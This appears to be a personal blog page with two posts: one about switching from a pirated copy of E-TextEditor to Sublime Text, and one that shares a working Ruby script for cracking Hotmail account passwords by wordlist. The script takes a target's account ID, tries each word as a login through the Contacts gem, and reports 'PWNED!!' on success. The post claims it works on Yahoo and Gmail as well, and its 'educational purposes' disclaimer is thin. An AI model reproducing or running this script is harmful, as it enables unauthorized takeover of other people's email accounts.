12 Mar 2010

Bye bye E-TextEditor

Coding life isn't cool anymore with you. It's just that i have moved on. And using a pirated copy of yours is not cool.

ScreenShot

Today you failed on me. By not responding when I click on your icon to start coding away. So i made up my mind, "Its about time i switch and move on". So i uninstalled your ass off my system and sought a new new text editor. And i am in love with it. so bye bye.

Every ruby dude who is on windows and don't have the shit to move to a Mac OS would want to try out e and for additional tastes the of TextMate, Install the Monaco font and set it 9 points. Pretend like they are on TextMate. Well, I am over with it. And guess what. Now I am on some other editor. It's called Sublime Text.

http://i31.tinypic.com/15phogo.jpg

Until i get fed up with this new editor. I will just sit here and code away, And let you guys know what i am upto in the next blog post. So keep those mouse taps coming in to the subscribe button.

Here are some links to find both of the editors

Find E here

Fall in love with Sublime Text here <3

12 Oct 2009

Bruteforce password cracker / ruby

hey dudes. Today i am going to share a code snippet i worked on couple of days ago. Originally the idea of this script was given by Nuvana.Her hubby recovered her lost password when she forgot it. So i wanted to get my hands dirty with some ruby code, and wanted to try out this one. Actually i succeeded.

The program is written in ruby so you need ruby interpreter to execute this, and the Contacts gem is needed as well. However performing attacks like this on people's accounts is not sensible and takes a lot of time. It is even not worth the time spent on cracking because there is only 20-30 percent chance of actually getting others passwords.

This program is written for educational purposes only and to let you all know that, these kinds of attacks exist and your account can be hacked. So i request you all to change your passwords to alpha-numeric for atleast a bare minimum. here is the code



#!D:\Ruby\bin\ruby
require "contacts"

# This program will have benchmarking
# set initial counter
i = Time.now

# Set initial wordlist 
passes = Array.new
file = File.open('words.txt','r')
file.each_line do |w|
    passes << w
end

# start the bruteforce attack with the provided wordlist
for $w in passes do
    begin
        contacts = Contacts::Hotmail.new(ARGV[0], $w).contacts
        puts "PWNED!! The password is #{$w}"
        break
    rescue Contacts::AuthenticationError
        puts "#{$w} as a password didn't work!"
    end
end

# output the time it took to execute the whole script
puts "It took #{Time.now - i} seconds to execute the whole attack!"


As you can see, cracking the passwords rely on the quality of the wordlist being used. This can be done to hotmail, yahoo and gmail passwords as well. The id must be passed as the first argument to the program in order to crack his/her password.

Mazzn's Posterous

I make webs